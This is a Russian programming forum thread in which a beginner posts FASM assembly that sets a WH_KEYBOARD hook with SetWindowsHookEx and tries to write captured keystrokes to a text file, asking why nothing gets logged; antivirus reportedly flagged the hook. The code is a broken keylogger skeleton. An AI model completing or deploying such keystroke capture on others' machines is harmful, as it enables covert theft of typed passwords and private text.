![]() |
|
|
Регистрация Восстановить пароль |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
![]() |
|
Опции темы | Поиск в этой теме |
![]() |
#1 |
Новичок
Джуниор
Регистрация: 25.11.2013
Сообщений: 1
|
![]()
Здравствуйте у меня возникла проблема с функцией SetWondowsHookEx,а конкретно то что я установил хук,касперский мне об этом сигналил,но я не могу записать нажатые клавиши в текстовый файл,вот код я хотел бы узнать что я делаю не так
format PE GUI 4.0 entry start include 'win32ax.inc' section '.data' data readable writeable SzFile db 'D:\fi.txt',0 Buf2 dd ? Buf db 100 dup(?) KeySt db 256 dup (0) crlf db 13,10,0 len_buf = $ - Buf2 le_buf = $ - Buf hfile dd ? HHook dd ? gg dd ? hInstance dd ? section '.code' code readable executable start: invoke GetModuleHandle,NULL mov [hInstance],eax invoke _lcreat, SzFile, 0 mov [hfile], eax hook: invoke SetWindowsHookEx, WH_KEYBOARD, KeyBoardProc, [hInstance], NULL mov [HHook], eax proc KeyBoardProc nCode, WParam, LParam cmp [nCode], HC_ACTION jne DoWork invoke CallNextHookEx, [HHook], [nCode], [WParam], [LParam] DoWork: invoke MapVirtualKey,[WParam],0 mov [gg],eax invoke GetKeyboardState,KeySt invoke toacii,[WParam],gg,KeySt,Buf,0 call Hi ret endp proc Hi invoke lstrlen,Buf invoke _lwrite,[hfile],Buf, eax jmp hook ret endp section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ user,'USER32.DLL',\ gdi,'GDI32.DLL' import kernel,\ _lcreat,'_lcreat',\ GetModuleHandle,'GetModuleHandleA', \ lstrcpy,'lstrcpy',\ _lwrite,'_lwrite',\ CloseHandle,'CloseHandle',\ lstrlen,'lstrlenA',\; CloseHandle ExitProcess,'ExitProcess',\ lstrcat,'lstrcat' import user,\ GetKeyNameText,'GetKeyNameTextA',\ GetKeyboardState ,'GetKeyboardState',\ LoadIcon,'LoadIconA',\ toacii,'ToAscii',\ MapVirtualKey,'MapVirtualKeyA',\ SetWindowsHookEx, 'SetWindowsHookExA',\ UnhookWindowsHookEx, 'UnhookWindowsHookEx',\ CallNextHookEx,'CallNextHookEx' |
![]() |
![]() |
![]() |
![]() |
||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Автокликер, или попытка познакомится с Хуками | EXTREEM | Общие вопросы Delphi | 1 | 15.02.2013 14:00 |
Работа с хуками в C# | Radical_Edward | C# (си шарп) | 6 | 18.10.2010 16:33 |
(C++) Работа с Win API, ХУКАМИ. | stribogaaa | Общие вопросы C/C++ | 10 | 12.05.2010 18:12 |
Немогу разобраться с хуками! | Altera | Win Api | 12 | 14.12.2008 17:15 |